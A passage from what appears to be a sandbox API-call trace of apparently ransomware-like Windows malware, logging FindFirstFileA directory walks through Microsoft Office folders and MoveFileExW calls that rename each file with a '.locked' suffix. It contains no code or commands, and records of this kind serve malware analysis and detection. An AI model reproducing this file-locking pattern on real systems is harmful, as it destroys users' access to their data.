ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7f72040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f72040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0035.207] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7f72040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f72040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.212] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7f981a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f981a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.217] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7f981a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7f981a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.224] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7fbe300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fbe300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.227] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7fbe300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fbe300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0035.231] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7fbe300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fbe300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0035.233] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7fbe300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fbe300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.236] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7fbe300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fbe300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc.locked"), dwFlags=0x2) returned 1 [0035.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc.locked"), dwFlags=0x2) returned 1 [0035.245] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7fe4460, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7fe4460, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.253] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif.locked"), dwFlags=0x2) returned 1 [0035.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Country.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_country.gif.locked"), dwFlags=0x2) returned 1 [0035.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif.locked"), dwFlags=0x2) returned 1 [0035.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif.locked"), dwFlags=0x2) returned 1 [0035.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif.locked"), dwFlags=0x2) returned 1 [0035.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif.locked"), dwFlags=0x2) returned 1 [0035.346] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif.locked"), dwFlags=0x2) returned 1 [0035.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif.locked"), dwFlags=0x2) returned 1 [0035.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif.locked"), dwFlags=0x2) returned 1 [0035.386] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif.locked"), dwFlags=0x2) returned 1 [0035.402] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif.locked"), dwFlags=0x2) returned 1 [0035.408] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8161220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8161220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0035.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.locked"), dwFlags=0x2) returned 1 [0035.415] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8187380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8187380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.420] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.locked"), dwFlags=0x2) returned 1 [0035.422] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8187380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8187380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.locked"), dwFlags=0x2) returned 1 [0035.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.locked"), dwFlags=0x2) returned 1 [0035.432] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb81ad4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb81ad4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.437] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.locked"), dwFlags=0x2) returned 1 [0035.441] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb81ad4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb81ad4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif.locked"), dwFlags=0x2) returned 1 [0035.448] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.locked"), dwFlags=0x2) returned 1 [0035.450] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb81d3640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb81d3640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.locked"), dwFlags=0x2) returned 1 [0035.459] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.locked"), dwFlags=0x2) returned 1 [0035.461] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb81f97a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb81f97a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.locked"), dwFlags=0x2) returned 1 [0035.467] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.locked"), dwFlags=0x2) returned 1 [0035.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.locked"), dwFlags=0x2) returned 1 [0035.476] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb821f900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb821f900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.485] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.locked"), dwFlags=0x2) returned 1 [0035.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.locked"), dwFlags=0x2) returned 1 [0035.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.locked"), dwFlags=0x2) returned 1 [0035.495] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8245a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8245a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.locked"), dwFlags=0x2) returned 1 [0035.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.locked"), dwFlags=0x2) returned 1 [0035.508] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb826bbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb826bbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.locked"), dwFlags=0x2) returned 1 [0035.517] MoveFileExW 